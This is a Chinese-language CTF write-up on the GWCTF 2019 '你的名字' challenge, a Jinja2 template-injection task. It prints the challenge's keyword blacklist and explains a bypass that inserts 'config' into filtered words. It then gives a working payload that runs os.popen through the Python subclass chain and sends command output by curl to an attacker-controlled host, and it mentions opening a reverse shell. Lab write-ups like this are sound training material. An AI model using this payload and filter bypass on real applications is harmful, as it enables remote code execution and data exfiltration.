0%

[GWCTF 2019] 你的名字

[GWCTF 2019]你的名字

模板注入,一开始就猜到了,然后出题人害人,过滤的字符串给了个PHP的报错,还给了一个不存在的文件,又把路由设置了一个index.php。。。。不是我看wp我绝对猜不出来发生了什么

但是在一系列fuzz(乱按)之后发现过滤了if,for,class,这几个和ssti相关性很大的关键字,被替换为空了,但是嵌套一层也绕不过去,嵌套n层也绕不过去呜呜呜

wp是说一直测,能发现config这个没什么用的语句在列表后面,用这个绕过过滤,直到我下载了源码才知道是怎么回事

blacklist = ['import', 'getattr', 'os', 'class', 'subclasses', 'mro', 'request', 'args', 'eval', 'if', 'for',
                 ' subprocess', 'file', 'open', 'popen', 'builtins', 'compile', 'execfile', 'from_pyfile', 'local',
                 'self', 'item', 'getitem', 'getattribute', 'func_globals', 'config'];
for no in blacklist:
    while True:
        if no in s:
            s = s.replace(no, '')
        else:
            break
return s

一开始我还以为是递归搜索一直搜直到没有为止,结果是这么个样子,就可以用列表中靠后的项来进行绕过(不给源码全让猜真的害人)

模板规则

{{...}}装载一个变量,模板渲染的时候,会使用传进来的同名参数这个变量代表的值替换掉。
{% ... %}:装载一个控制语句。
{# ... #}:装载一个注释,模板渲染的时候会忽视这中间的值。

所以双大括号这种表示方式就是可以直接回显在页面上的,而这种方式被过滤了,还给了一个编出来的PHP假报错(害人)
所以结果就不能直接外带了,只能通过{% %}执行命令的方式来外带数据了
payload:{% if ''.__class__.__mro__[2];.__subclasses__()[59];.__init__.func_globals.linecache.os.popen('curl http://yourip:port/ -d ls / | grep flag;') %}1{% endif %}
把过滤的字符串中都加一个config来绕过过滤

这里用os.popen函数执行命令,但是curl发出来只能发出来第一行,所以一开始ls的时候返回就一个app我人都是懵的,wp是通过grep来搜索flag文件
最后想了想,既然都是外带,不如直接反弹shell,简单粗暴,然后就可以任意遨游了
在根目录下取得flag